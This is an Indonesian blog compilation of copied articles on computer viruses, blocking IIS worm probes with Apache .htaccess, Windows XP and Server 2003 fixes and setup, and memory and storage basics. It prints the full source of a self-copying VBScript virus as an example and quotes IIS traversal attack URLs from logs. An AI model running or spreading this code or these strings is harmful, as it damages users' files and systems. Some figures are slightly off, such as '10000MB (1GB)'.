Rabu, 07 Januari 2009

Windows Server 2003 berhubungan dengan virus



Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.


Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer (terutama pada sistem operasi , seperti sistem operasi berbasis keluarga Windows (Windows 95, Windows 98/98SE, Windows NT, Windows NT Server, Windows 2000, Windows 2000 Server, Windows 2003, Windows 2003 Server, Windows XP Home Edition, Windows XP Professional, Windows XP Servicepack 1, Windows XP Servicepack 2) bahkan GNU/Linux. Efek negatif virus komputer terutama adalah perbanyakan dirinya sendiri, yang membuat sumber daya pada komputer (seperti CPU Time, penggunaan memori) menjadi berkurang secara signifikan.

Hampir 95% Virus adalah virus komputer berbasis sistim operasi Windows. Sisanya, 2% menyerang Linux/GNU (dan Unix, sebagai source dari Linux, tentunya), 1% menyerang Mac terutama Mac OS 9, Mac OS X (Tiger, Leopard). 2% lagi menyerang sistim operasi lain seperti FreeBSD, OS/2 IBM, dan Sun Operating System.

Serangan virus dapat dicegah atau ditanggulangi dengan menggunakan perangkat lunak antivirus. Jenis perangkat lunak ini dapat juga mendeteksi dan menghapus virus komputer, asalkan basis data virus komputer yang dimiliki oleh perangkat lunak antivirus telah mengandung kode untuk menghapus virus tersebut.


Tips: Mengurangi Traffic Web Server Akibat Virus/Worm

Seringkali disebutkan dalam banyak artikel bahwa keamanan web server Microsoft IIS dijadikan bulan-bulanan virus/worm, seperti CodeRed dan Nimda, yang sering mengakibatkan kerusakan yang cukup serius atau fatal. Ada banyak artikel yang menjelaskan bagaimana menutup lubang keamanan dan cara-cara mencegah kerusakan di kemudian hari.

Beberapa web server lain dijadikan alternatif antara lain Apache, yang notabene merupakan web server yang paling banyak digunakan, menurut data Netcraft. Memang dengan menggunakan web server Apache, kerusakan yang diakibatkan oleh virus/worm tersebut bisa ditekan atau bisa dikatakan tidak berdampak langsung. Namun perlu diperhatikan bahwa memang virus/worm tersebut tidak menyerang lubang keamanan, tapi dapat juga mengakibatkan kerusakan atau paling tidak membebani kerja web server.

Hal ini antara lain dengan mebludaknya ukuran log file oleh sampah akibat serangan2 virus/worm. Ada kasus dimana terdapat sekitar 20000 entri dalam log selama 2 hari yang hanya diakibatkan karena aktivitas virus/worm dalam jaringan/Internet.

Web server menjadi sangat sibuk dan berat. Ini terlebih-lebih jika situs yang bersangkutan menggunakan halaman error 404 khusus (not found). Ini berarti setiap ada akses yang diakibatkan oleh virus/worm ke situs tersebut, halaman error 404 akan ditampilkan. Bayangkan jika halaman tersebut berukuran besar. Ini akan menambah traffic web server secara percuma.

Setelah melakukan riset pada log file Apache dan melihat banyaknya akses ke halaman error 404 tersebut (yang ikut menambah traffic web server) yang diakibatkan oleh virus/worm, ada cara untuk mengurangi traffic akibat serangan ini.

Sebagai contoh, di bawah ini diambil dari log file, berisi URL yang sering diakses oleh virus/worm. Nampak jelas bahwa sebetulnya ini dibuat dalam rangka menyerang web server IIS.

/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c/winnt/system32/cmd.exe
/d/winnt/system32/cmd.exe
/scripts/..%2f../winnt/system32/cmd.exe
/scripts/..%c1%9c../winnt/system32/cmd.exe
/scripts/..%%35%63../winnt/system32/cmd.exe
/scripts/ .%%35c../winnt/system32/cmd.exe
/scripts/..%c0%2f../winnt/system32/cmd.exe
/scripts/..%c0%af../winnt/system32/cmd.exe
/MSADC/root.exe

Pada web server Apache ada satu fitur yaitu file .htaccess, yang berperan untuk mengontrol akses ke suatu situs. File ini sangat berguna jika digunakan secara benar, namun bisa berakibat fatal jika ada kesalahan pengisian, antara lain situs tidak dapat diakses sama sekali.

Buat terlebih dahulu file .htaccess (file teks) atau tambahkan script di bawah ini ke dalam file .htaccess jika situs anda sudah terdapat file .htaccess yang terdapat di direktori utama (root) situs anda.

redirect /scripts http://www.to.the.black.hole
redirect /MSOffice http://www.to.the.black.hole
redirect /_vti_bin http://www.to.the.black.hole
redirect /MSADC http://www.to.the.black.hole
redirect /msadc http://www.to.the.black.hole
redirect /_mem_bin http://www.to.the.black.hole

Script ini akan mencegah web server mengembalikan halaman error 404 dan menambahkan entry ke log file dengan cara membelokkan akses ke URL tertentu yang sebetulnya tidak valid. Dengan demikian traffic web server dapat diminimalkan yang berdampak beban web server menjadi lebih ringan.

APA ITU VIRUS?



Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak ( misalnya : dengan merusak data pada dokumen ), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.

Virus komputer umumnya dapat merusak perangkat lunak ( Software ) komputer dan tidak dapat secara langsung merusak perangkat keras ( Hardware ) komputer terutama pada sistem operasi , seperti sistem operasi berbasis Microsoft Windows ( Windows 95, Windows 98/98SE, Windows NT, Windows NT Server, Windows 2000, Windows 2000 Server, Windows 2003, Windows 2003 Server, Windows XP Home Edition, Windows XP Professional, Windows XP Service Pack 1, Windows XP Service Pack 2 ) bahkan GNU/Linux. Efek negatif virus komputer terutama adalah perbanyakan dirinya sendiri, yang membuat sumber daya pada komputer ( seperti : CPU Time, penggunaan memori ) menjadi berkurang secara signifikan. Hampir 95% Virus adalah virus komputer berbasis sistim operasi Windows. Sisanya, 2% menyerang Linux/GNU (dan Unix, sebagai source dari Linux, tentunya), 1% menyerang Mac terutama Mac OS 9, Mac OS X (Tiger, Leopard), 2% lagi menyerang sistim operasi Unix, seperti : FreeBSD dan Sun Solaris.

Serangan virus dapat dicegah atau ditanggulangi dengan menggunakan perangkat lunak Anti Virus. Jenis perangkat lunak ini dapat juga mendeteksi dan menghapus virus komputer, asalkan basis data ( Database ) virus komputer yang dimiliki oleh perangkat lunak antivirus telah mengandung kode program untuk menghapus virus tersebut.

Untuk mengetahui sejarah adanya virus komputer, kamu dapat membaca di Sejarah Perkembangan Malware Dunia ( Jadi ngga cuma di sekolah aja belajar sejarah ya! ;) ). Selain itu, untuk lebih memahami virus-virus lokal seperti : Brontok dan variannya, kamu bisa membacanya di sini. Beberapa triks untuk mengatasi serangan virus, dapat dilihat juga di tutorial cara mengatasi virus.

Supaya tahu lebih jauh tentang virus komputer, virus komputer dapat dibuat dengan bahasa pemrograman komputer, seperti : Visual Basic, Visual C++, VBS, JS, DOS Command, dan bahasa pemrograman lainnya. Sebagai contoh source code virus sederhana dengan menggunakan VBS, dapat dilihat pada Virus Readme dengan source code berikut :

‘VOVAN//SMF Readme.a

Set A=CreateObject(”Scripting.FileSystemObject”)
Set B=CreateObject(”WScript.Shell”)
B.RegWrite “HKEY_CLASSES_ROOT\VBSFile\DefaultIcon”,”shell32.dll,-152″
Set C=A.Drives
For Each Drive In C
If Drive.DriveType=2 Or Drive.DriveType=3 Then Onward Drive.Path &”\”
Next
Function Onward(D)
Set E=A.GetFolder(D)
Set F=E.SubFolders
For Each G In F
A.CopyFile Wscript.ScriptFullName, G&”\Readme.vbs”
Onward(G)
Next
End Function

Dengan demikian, dapat diketahui bahwa virus komputer merupakan kode program yang disalahgunakan oleh programmer pembuat-nya, baik untuk kepentingan pribadi maupun untuk kepentingan lainnya, sehingga menimbulkan keresahan bagi pengguna komputer lain. Nah kalau begitu, kesimpulannya kembali ke tanggung jawab moral masing-masing dech! ;)
artikel ini saya ambil < copy-paste> dari http://itcenter.or.id/mt/gen_art/000119.html

Troubel Shoting Windows 2003

PRAKTEK XP-Trouble-Shooting - Windows Bebas Masalah


Tim reparasi telah datang. CHIP mencoba menutup kelemahan pemrograman yang berbahaya dan menyingkirkan kesalahan yang mengganggu dalam sistem operasi Anda.




Lebih mudah, lebih cepat, dan lebih hemat biaya. Patokan dasar untuk mencari solusi ini juga berlaku bagi Microsoft. Bagian kontrol kualitas melakukan penghematan. Pemrogram lihai dari berbagai negeri antah-berantah masuk menyingkirkan para konsultan yang mahal. Kode-kode mereka kemudian digabungkan dengan program utama di Redmond secara cepat melalui Copy & Paste. Namun, kurangnya kecermatan dapat menyebabkan system-crash, gagal berfungsi, dan menayangkan bluescreen di PC pengguna.

Di sini para pakar rekrutan CHIP berperan. Tanpa kenal lelah mereka menyisir Whitepaper pengembang Windows dan menyelami Microsoft Knowledge Base serta sumber-sumber lainnya untuk melacak bug-bug yang berbahaya. Ikut lah dengan kami ke sudut terdalam sistem operasi Anda dan bebaskan Windows XP dari kesalahan program yang mengganggu dan berbahaya.





1. Update menyebabkan crash
Windows-patch yang cacat atau rusak menyebabkan bluescreen. Biasanya keterangannya dimulai dengan kata-kata 'STOP: 0x800….' yang membingungkan. Di sini tool gratis 'Qfecheck' dari Microsoft dapat membantu. Ia dapat mengidentifikasi penyebabnya dan menunjukkan sebuah artikel dalam Microsoft Knowledge Base yang menjelaskan bug tersebut secara rinci.



Untuk memperoleh tool Qfecheck, masuk ke website Microsoft dan ketikkan kode berikut ke dalam kolom Search di kanan atas. (282784)

Anda akan mendapatkan link untuk men-download 'Qfecheck.exe'. Perhatikan, tersedia versi yang berbeda untuk Windows XP dan 2000. Jangan salah men-download. Setelah download selesai, klik 'Start | Run' dan masuk ke command prompt dengan perintah berikut. (cmd)

Selanjutnya, ketikkan perintah berikut untuk memeriksa hotfix dan update yang terdapat pada sistem Windows Anda. (qfecheck•/v)

Ketika tool menemukan update yang rusak atau berisi bug, Anda akan diberi petunjuk 'This hotfix should be reinstalled'. Di depannya ada sebuah kode, misalnya 'KB8884883'. Bila Anda memasukkan kode ini ke dalam kolom Search di website Microsoft, Anda akan sampai ke sebuah artikel dalam Knowledge Base mengenai fungsi yang bersangkutan, penyebab kesalahan, dan solusi masalahnya.

2. Kesalahan 'Generic Host Process'
Bila tool Qfecheck tidak menemukan update yang berisi bug, tidak berarti semuanya baik-baik saja. Bahkan, setelah melakukan instalasi security-update 'KB873333' dengan benar sesuai petunjuk Microsoft dalam Security Bulletin MS-05-012, Windows malah crash dengan laporan 'Generic Host Process telah menyebabkan sebuah kesalahan'. Solusinya adalah sebuah patch yang memperbaiki bagian yang bersangkutan.

Untuk menemukan Windows-Update yang tepat, masukkan kode berikut ke dalam kolom Search di website Microsoft. (kb894391)

Download 'Update for Windows XP' yang ditampilkan. Setelah instalasi, biasanya laporan kesalahan tidak lagi muncul. Selain itu, patch yang diberikan ini juga menambahkan perlindungan dari serangan hacker.

3. Nero 6 membakar terlalu lambat
Akibat adanya bug dalam SP2 untuk Windows XP, tool 'InCD' dalam paket Nero 6 membakar DVD dual-layer jauh lebih lambat dibandingkan program lainnya. Kesalahan ini timbul pada semua versi hingga versi 4.3.7.3. Sebuah patch dari Nero menawarkan solusinya.



Download 'Paket Update 3' dari www.nero.com/nero6/eng/nero-up.php dan instalasikan. Sebagai alternatif, Anda juga dapat meng-upgrade Nero ke versi 7 yang berisi tool 'InCD' versi 5. Tentu saja, untuk layanan upgrade ini ditarik biaya. Microsoft sendiri belum menyingkirkan kesalahan yang terdapat dalam cache-management SP2, karena hanya berefek pada program non-Microsoft seperti Nero.

4. Popup-Blocker memblokir update
Sulit dipercaya, tetapi memang terjadi. Popup-blocker yang terinstalasi dalam SP2 tidak hanya melindungi komputer Anda dari perusahaan marketing yang jahat, tetapi juga dari Windows-Update. Bug ini muncul dengan laporan kesalahan 'HTTP-Bug 500 - Internal Server Bug, 0x8dd0010'. Ia muncul begitu Anda mengklik sebuah hyperlink di website Windows-Update.



Untuk menyingkirkan bug tersebut, jalankan Internet Explorer dan pilih 'Tools | Internet Options | Privacy | Popup-Blocker Settings'. Ketikkan URL 'http://v5.windowsupdate.microsoft.com' ke dalam kolom teks, lalu klik 'Add'. Tutup jendela setting.

5. TV-playback bergoyang
Akibat bug lainnya dalam SP2 untuk Windows XP, gambar bergoyang dan terjadi frame-drop pada playback acara TV melalui filter Direct-Show. Kesalahan ini tidak hanya terjadi pada playback Livestream, tetapi juga file video yang sudah tersimpan di hard disk. Solusinya ditawarkan oleh patch dari Microsoft.



Masukkan kode berikut ke dalam kolom Search di website Microsoft. (kb896626)

Sebelum dapat men-download patch tersebut, Microsoft akan memeriksa apakah Anda memiliki versi Windows yang sah atau tidak. Jika tidak ada masalah, Anda dapat menginstalasinya dan menonton tanpa gangguan lagi.

6. Windows hang saat shutdown
Saat shutdown, SP2 untuk Windows XP memeriksa apakah semua Windows-update penting telah terinstalasi atau belum. Bila di sini terjadi kesalahan, akan timbul masalah shutdown dan muncul bluescreen dengan laporan 'STOP: 0x80248011'. Bila demikian, Anda harus memperbarui database yang berisi semua info relevan mengenai update yang telah terinstalasi.

Untuk mengatasi masalah di atas, klik 'Start | Run' dan ketikkan kode berikut. (services•msc)

Dalam jendela 'Services', klik kanan 'Automatic Updates' dan pilih 'Stop'. Sekarang, jalankan Windows Explorer dan masuk ke folder Windows. Ubah nama folder 'SoftwareDistribution' menjadi 'SoftwareDistribution.alt'. Setelah itu, jalankan kembali layanan 'Auto-Update'. Ia akan membuat sebuah folder baru bernama 'SoftwareDistribution'. Folder lama yang telah Anda ubah namanya boleh dihapus.

7. Proteksi copy menyebabkan crash
Bila Anda mendapat tampilan bluescreen dengan laporan kesalahan 'STOP: 0x0000009F Driver_Power_State_Failure', Anda adalah korban sebuah proteksi copy yang salah program. 'InterLok' dari perusahaan Pace yang antara lain ditemukan dalam produk Adobe, Pinnacle, Steinberg, dan Electronic Arts menggunakan interrupt (IRQ) yang sama dengan floppy-drive dan menimbulkan konflik resource.

Masuk ke website www.paceap.com dan pilih entri 'Windows drivers' dalam daftar 'Download drivers'. Download file 'tpkd.zip' dan ekstrak arsip ZIP ini. Klik ganda file Setup.exe untuk menginstalasi driver. Bila masalah masih muncul, melalui 'Start | All Programs | Accessories | System Tools | System Informations', periksa apakah interrupt untuk floppy kembali digunakan atau tidak.

Pilih 'Hardware Resources | IRQs'. 'IRQ6' hanya boleh berisi entri 'Standard Floppy-Drive Controller'. Bila ini tidak membantu, terpaksa Anda tidak menggunakan software dengan proteksi copy ini.

8. WINDOWS SERVER 2003
»Profile Tidak Dikosongkan

Sebuah bug yang buruk akan terlihat ketika Windows Server 2003 di-shutdown. Windows tidak mengosongkan semua registered-user-profiles atau tidak menggabungkannya dengan benar. Dengan demikian, proses logout akan berlangsung sangat lama karena layanan Windows menanti logout user-profile yang benar. Untuk mengetahui apakah Anda terkena bug ini atau tidak, klik 'Start | Run' dan ketikkan kode berikut. (eventvwr.msc)



Bila dalam kolom Event di bawah Application Anda temukan error-code 1500, 1517, atau 1524 serta keterangan sumber 'Userenv', lakukan langkah-langkah berikut.

Download 'User Profile Hive Cleanup Service' yang tersedia di website Microsoft. Ia terinstalasi sebagai layanan baru Windows dan akan membebaskan cabang registry (hive) dari pengguna yang tidak login. Hasilnya, profile akan dikosongkan lebih cepat dan shutdown juga akan berlangsung lebih cepat.

9. Tidak ada lingkungan jaringan
Folder penting seperti 'My Documents' atau 'My Computer' paling cepat diakses melalui menu Start. Sayangnya programmer Windows melupakan 'My Network Places' yang juga penting. Melalui sebuah registry-hack Anda dapat membuka tampilan folder ini.



Klik 'Start | Run' dan ketikkan perintah berikut untuk menjalankan Registry Editor. (regedit)

Masuk ke HKEY_CURRENT_USER\ Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced'. Buat entri 'Start_ShowNetPlaces' melalui 'New | DWORD-Value' dan beri nilai '2'. Setelah me-restart PC, Anda dapat mengakses 'My Network Places' melalui menu Start.

10. Crash setelah klik kanan
Setelah Anda mengklik kanan sebuah file EXE, semua icon di desktop menghilang atau Windows melaporkan bahwa file 'Explorer.exe' menyebabkan pelanggaran proteksi. Kesalahan ini bisa disebabkan oleh sebuah virus seperti 'Win32.Bube'. Bila Anda tidak menemukan keberadaan virus ini, mungkin sebuah perintah dalam menu konteks tidak terintegrasi dengan benar saat aplikasi diinstalasi. Bila demikian, Anda harus melepaskan link ke menu tersebut.

Pertama, periksa dulu semua media data dengan sebuah virus-scanner aktual. Banyak forum yang menyarankan NOD32 (www.nod32.com) karena mengenali 'Win32.Bube' dengan tepat. Bila Anda tidak menemukan virus, periksa apakah Windows crash hanya bila sebuah program tertentu diklik atau bukan. Bila ya, singkirkan aplikasi yang bermasalah ini dan lakukan instalasi ulang.

Bila masalah masih tetap terjadi, singkirkan subkey untuk link ke program yang bermasalah tadi dari registry. Untuk itu, jalankan Registry Editor dan masuk ke kunci 'HKEY_CLASSES_ROOT\exefile\shellex'. Tandai kunci ini dalam pohon direktori dan simpan melalui perintah 'File | Export'. Selanjutnya, buka 'shellex' dan hapus seluruh subkey 'ContextMenuHandlers'. Restart PC. Masalah crash biasanya akan teratasi karena semua link dengan menu konteks yang cacat telah disingkirkan.


Source : CHIP 03/2006
Author : AS.Pratisto@CHIP.co.idThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it


artikel ini diambil dari blog chykapoenya.blogspot.com

Langkah-langkah installasi windows server 2003

Setup Windows Server 2003 - Bagian 1

Artikel ini adalah tutorial singkat mengenai instalasi Windows Server 2003 ke komputer PC untuk digunakan dalam sistem Voucha II. Jika Anda menggunakan server built-up seperti IBM xSeries atau Dell PowerEdge, anda harus baca manual instalasi yang disertakan bersama server tersebut. Instalasi ini dapat diterapkan pada :

1. Windows Server 2003 x86
2. Windows Server 2003 x86 Service Pack 1
3. Windows Server 2003 x86 R2
4. Windows Server 2003 x86 Service Pack 2
Instalasi Windows Server 2003 hampir mirip dengan instalasi Windows XP dan sama mudahnya. Hal-hal yang perlu Anda siapkan:
1. CD/DVD instalasi Windows Server 2003 (Enterprise Edition)
2. CD/DVD driver untuk motherboard, video card, sound card, ethernet card, dll.
3. PC dengan RAM minimum 256 (disarankan 512MB atau lebih), hardisk 20GB (disarankan 40GB atau lebih), video card true-color dengan resolusi 1024×768.
Baiklah mari kita mulai:
Boot komputer dengan CD Windows Server 2003
Atur konfigurasi BIOS agar melakukan boot ke CD/DVD ROM. Masukkan CD/DVD Windows Server 2003. Anda akan mendapatkan layar selamat datang di setup Windows Server 2003.

Tekan tombol ‘ENTER’ di keyboard. Anda akan menuju ke layar EULA





Tekan ‘F8′ di keyboard untuk persetujuan lisensi Windows Server 2003.

Membuat Partisi

Jika hardisk Anda masih kosong, anda harus membuat partisi untuk sistem Windows Server 2003. Tekan ‘C’ untuk membuat partisi dan masukkan ukuran partisi yang dibutuhkan, misal 10000MB (1GB).


Jika sudah selesai, tekan ‘ENTER’.
Format partisi tersebut dengan filesystem NTFS dengan metode quickformat.


Tekan ‘ENTER’. Windows Server 2003 Setup memformat partisi hardisk Anda.


Setelah format selesai, Windows Server 2003 Setup meng-copy file-file ke partisi Windows.



Setelah selesai, Windows Server 2003 Setup akan me-restart komputer dan boot ulang


Windows Server Setup GUI



Tunggu beberapa saat sampai muncul Wizard berikut:



Pilih ‘Customize’, dan lakukan setting seperti screen di bawah ini.



Klik ‘OK’, kembali ke layar sebelumnya dan klik ‘Next’.



Isi dengan Nama Anda dan Nama Perusahaan Anda. Kemudian klik ‘Next’.



Isi dengan CD key Windows Server 2003 yang disertakan bersama CD Windows Server 2003. Klik ‘Next’



Pilih Licensing Mode ‘Per Server’ dan isi dengan jumlah koneksi yang dibutuhkan. Klik ‘Next’.



Isi ‘Computer Name’ dan password untuk Administrator. Klik ‘Next’.



Pilih ‘Time Zone’ dengan (GMT +07:00 ) Bangkok, Hanoi, Jakarta. Klik ‘Next’. Setup akan melakukan instalasi Network.





PIlih ‘Custom settings’ dan klik ‘Next’.



Pilih komponen ‘Internet Protocol (TCP/IP)’ dan klik ‘Properties’.



Isi ‘IP address’, ‘Subnet mask:’, ‘Default gateway:’ sesuai konfigurasi network Anda. Klik ‘OK’. Kemudian klik ‘Next’.



Isi nama Workgroup yang diinginkan, misalnya : ‘VOUCHA’. dan klik ‘Next’.



Setup mencopy file-file komponen ke partisi Windows. Setelah itu Setup akan melakukan restart dan boot ulang komputer Anda.



Selamat, Anda berhasil melakukan instalasi Windows Server 2003!
Technorati Tags: windows-server-2003




Setup Windows Server 2003 - Bagian 2

Pada Setup Windows Server 2003 - Bagian 1, kita telah melakukan instalasi Windows Server 2003 dengan konfigurasi standar. Beberapa konfigurasi lainnya masih harus dicustomize agar sesuai dengan kebutuhan sistem yang diharapkan.
Pada bagian ke-2 ini, kita akan melakukan instalasi beberapa komponen tambahan yang diperlukan dan melakukan beberapa konfigurasi minimum untuk Windows Server 2003.
Instalasi Windows Server 2003 Service Pack 2
1. Masukkan CD Windows Server 2003 Service Pack 2
2. Jika Autorun tidak aktif, jalankan melalui menu Start.
Caranya:
1. Klik ‘Start’->’Run
2. Klik ‘Browse’. Pilih lokasi CD-ROM, dan pilih file ‘SRSP2.CMD’
3. Setup akan mengekstrak file-file instalasi dan menampilkan kotak dialog seperti berikut.



4. Klik ‘Next’ dan lanjutkan sampai selesai.
5. Restart


Instalasi Driver
Anda harus melakukan instalasi driver-driver hardware di komputer dengan CD/DVD instalasi hardware bersangkutan. Jika driver untuk Windows Server 2003 tidak ditemukan, coba dengan driver untuk Windows XP atau download dari website vendor bersangkutan.
Instalasi Internet Information Service (IIS)
1. Jalankan ‘Add or Remove Programs’ dari Control Panel
2. Klik button ‘Add/Remove Windows Components’
3. Double click ‘Application Server’



4. Double click ‘Internet Information Service (IIS)’



5. Pilih ‘File Transfer Protocol (FTP) Service’


6. Klik OK.

Membuat Partisi
Partisi untuk dokumen, database, dan file-file temporer sebaiknya dipisah. Untuk membuat partisi di Windows Server 2003, ikuti langkah berikut:
1. Jalankan ‘Control Panel’->’Administrative Tools’->’Computer Management’
2. Pilih ‘Disk Management’


3. Klik ‘Disk 0′ pada daftar disk dan klik kanan.
4. Pilih ‘New Partition’
5. Pilih ‘Extended Partition’, isi ukuran partisi yang dibutuhkan dan klik ‘Next’
6. Pilih filesystem ‘NTFS’.
7. Ulangi langkah 1-6 untuk partisi yang lain.

Membuat User Account
Anda harus membuat user account khusus untuk pemakaian biasa dan jangan gunakan account Administrator. Gunakan account Administrator jika diperlukan, misalnya instalasi software atau hardware.
1. Jalankan ‘Control Panel’->’Administrative Tools’->’Computer Management’
2. Pilih ‘Local Users and Groups’



3. Pilih ‘Users’
4. Klik kanan di daftar user dan pilih ‘New User’
5. Isi dengan nama user yang Anda inginkan.



6. Klik ‘Create’
Selamat, Windows Server 2003 telah siap digunakan sebagai Server. Untuk menggunakan Voucha II, Anda perlu melakukan instalasi Microsoft SQL Server 2000 dan Microsoft SQL Server 2000 - Service Pack 4.
Technorati Tags: windows-server-2003

Selasa, 06 Januari 2009

Media Penyimpanan

Internal Memory
Memory komputer bisa diibaratkan sebagai papan tulis, dimana setiap orang yang masuk kedalam ruangan bisa membaca dan memanfaatkan data yang ada dengan tanpa merubah susunan yang tersaji.
2-2a Data yang diproses oleh komputer, sebenarnya masih tersimpan didalam memory, dan dalam hal ini komputer hanya membaca data dan kemudian memprosesnya.
2-2b Satu kali data tersimpan didalam memory komputer, maka data tersebut akan tetap tinggal disitu selamanya. Setiap kali memory penuh, maka data yang ada bisa dihapus sebagian ataupun seluruhnya untuk diganti dengan data yang baru.

2-2c Besar kecilnya kemampuan komputer, ditentukan oleh besar kecilnya memory yang dimilikinya. Apabila komputer memiliki memory besar, maka kemampuan komputer dalam hal menyimpan data juga menjadi besar, demikian pula sebaliknya. Satuan data yang tersimpan didalam memory dinyatakan dengan Byte, Kilo-byte, Mega-byte, ataupun Giga-byte. Dalam hal ini, 1 Character = 1 byte.
2-2d Data yang akan diproses ataupun hasil pemrosesan komputer, disimpan didalam internal memory. Disamping itu, internal memory juga digunakan untuk menyimpan program yang digunakan untuk memproses data. Dengan demikian, kapasitas internal memory harus cukup besar untuk menampung semuanya. Setiap data yang disimpan akan ditempatkan dalam address (alamat) tertentu, sehingga komputer dengan cepat dapat menemukan data yang dibutuhkan.
2-2e Apabila ada sebuah data yang masuk ke-address tertentu, dan pada address tersebut telah terisi dengan data yang lama, maka data yang baru akan menumpuk data lama. Dengan demikian, data lama akan tertumpuk/hilang, dan isinya akan diganti dengan data yang baru.
2-2f Dengan kemampuan dalam hal menyimpan data yang semakin meningkat, ternyata harga memory juga semakin murah, dan bentuknya juga semakin kecil. Pada tahun 1950-an, harga sebuah memory yang dapat digunakan untuk menyimpan 2.500 character adalah 1 juta dolar. dan pada tahun 1990-an, harga memory untuk ukuran tersebut, hanyalah 50-sen.
2-2g Pengertian internal memory terbagi menjadi:

Read Only Memory (ROM), berfungsi untuk menyimpan pelbagai program yang berasal dari pabrik komputer. Sesuai dengan namanya, ROM (Read Only Memory), maka program yang tersimpan didalam ROM, hanya bisa dibaca oleh para pemakai.

Random Access Memory (RAM), merupakan bagian memory yang bisa digunakan oleh para pemakai untuk menyimpan program dan data.
2-2h ROM bisa diibaratkan sebuah tulisan yang sudah tercetak, dimana pemakai hanya bisa melakukan pembacaan data yang ada didalamnya tanpa bisa melakukan perubahan apapun pada tulisan yang ada. ROM biasanya berisi instruksi/program khusus yang bisa digunakan pemakai untuk memanfaatkan komputer secara maksimal.
2-2i RAM berfungsi untuk menyimpan program dan data dari pemakai komputer dalam bentuk pulsa-pulsa listrik, sehingga seandainya listrik yang ada dimatikan, maka program dan data yang tersimpan akan hilang. ROM menyimpan program yang berasal dari pabrik dalam bentuk komponen padat, sehingga tidak akan mengalami gangguan seandainya aliran listrik terputus. Isi RAM bisa dihapus oleh pemakai komputer, isi ROM tidak.
2-2j Secara pisik, RAM berbentuk seperti sebuah chip yang sangat kecil, dan saat ini mampu menyimpan data lebih dari 32 GB. Apabila pemakai komputer ingin menambah kapasitas memory yang dimilikinya, pemakai tinggal menambahkan chip RAM pada tempat yang telah disediakan (chip-set).
2-2k Jika sebuah PC dinyalakan, program yang ada didalam ROM segera mencari lokasi yang digunakan untuk menyimpan operating system apakah terdapat pada disket ataupun harddisk. Jika diketemukan, maka OS ini segera dipindahkan kedalam RAM. Tahap ini dikenal sebagai boot-up. Untuk selanjutnya, program-program aplikasi seperti misalnya: Windows dan lainnya juga dipindahkan kedalam RAM, dan kini komputer siap digunakan oleh pemakai.
2-2l Dengan demikian, semakin besar program-program yang digunakan, semakin besar pula tempat yang harus disediakan oleh RAM. Pada gambar terlihat bagaimana Windows dan sebuah paket program Office 2000 ditempatkan dalam sebuah RAM.
2-2m Secara prinsip, pengertian RAM terbagi menjadi: Input Area, tempat untuk menampung data-data input yang akan diolah. Program Area, tempat untuk menampung program yang akan dipergunakan untuk memproses data. Working Area, tempat untuk menampung kegiatan pengolahan data yang akan dikerjakan. Output Area, tempat untuk menampung hasil pengolahan data.
2-2n ROM biasanya berisi: Program BIOS (Basic Input Output System), program ini berfungsi untuk mengendalikan perpindahan data antara microprocessor kekomponen lain yang meliputi keyboard, monitor, printer dan lainnya. Program BIOS juga mempunyai fungsi untuk self-diagnostik, atau memeriksa kondisi yang ada didalam dirinya. Program Linkage/Bootstrap, bertugas untuk memindahkan operating system yang tersimpan didalam disket untuk kemudian ditempatkan didalam RAM.
2-2o Misalnya, dengan memberi instruksi “SIMPAN” pada sebuah file MS-Word, maka sinyal ini segera dikirm ke-operating sistem. OS segera memeriksa apakah file yang ada benar-benar dapat disimpan, misalnya: nama file sudah benar, disket yang digunakan tidak dalam posisi “read-only” dan sebagainya. Jika semua sudah benar, maka OS segera menggerakkan peralatan yang ada untuk menyimpan file yang bersangkutan dibawah pengawasan BIOS

External Memory
External memory ataupun external storage ataupun secondary storage ataupun backing storage adalah suatu tempat atau sarana yang bisa digunakan komputer untuk menyimpan data ataupun program.
2-3a1 Dengan demikian, external memory mempunyai fungsi yang hampir sama dengan internal memory. Hanya bedanya, internal memory terletak didalam CPU, external memory berada diluar CPU.
2-3b Data-data yang tersimpan didalam external memory bersifat tetap, artinya data tersebut tidak akan hilang walaupun tidak ada listrik yang mengalirinya. Media yang digunakan biasanya merupakan media magnitic yang berfungsi sebagai tempat penyimpanan data dengan guratan-guratan magentic yang dimilikinya. Jenis external memory cukup banyak.
2-3c a. Disket

Disket merupakan media penyimpanan yang sangat populer bagi personal komputer. Secara pisik, disket terbuat dari lempengan plastik yang berbentuk bundar dimana pada permukaannya dilapisi oleh magnit sebagai tempat untuk menyimpan guratan-guratan data. Untuk menjaga agar data ataupun program yang tersimpan didalam disket tetap terjaga kebersihannya, disket kemudian dibungkus oleh karton yang berbentuk segi empat.
2-3d Untuk melakukan pembacaan ataupun penulisan, disket harus dimasukkan kedalam sebuah drive, drive ini kemudian disebut sebagai disket-drive. Pada setiap drive yang ada, telah berisi sebuah shaft dan sebuah drive motor yang berfungsi untuk memutar disket dengan kecepatan sekitar 360 hingga 500 rpm.
2-3e Sebuah sinyal elektronik yang datang dari sistem kontrol, akan menyebabkan read/write head yang berfungsi untuk melakukan pembacaan/penulisan untuk terus bergerak diatas permukaan disket yang sedang berputar guna melakukan pembacaan/ penulisan.
2-3f Bagian-bagian dari disket adalah:

1. Stress relief cutouts, berfungsi untuk membuka/tutup pengait drive.
2. Read/Write Windows, merupakan jendela yang digunakan untuk membaca dan menulis dari mekanisme drive.
3. Hub ring, berfungsi sebagai pegangan untuk memutar disket.
4. Index Hole, apabila lubang yag ada pada karton/cover menumpuk dengan lubang pada disket, menandakan posisi sector 0.
5. Write, lubang ini apabila dalam posisi terbuka, maka disket bisa dibaca dan ditulis; Apabila tertutup maka disket hanya bisa dibaca saja.
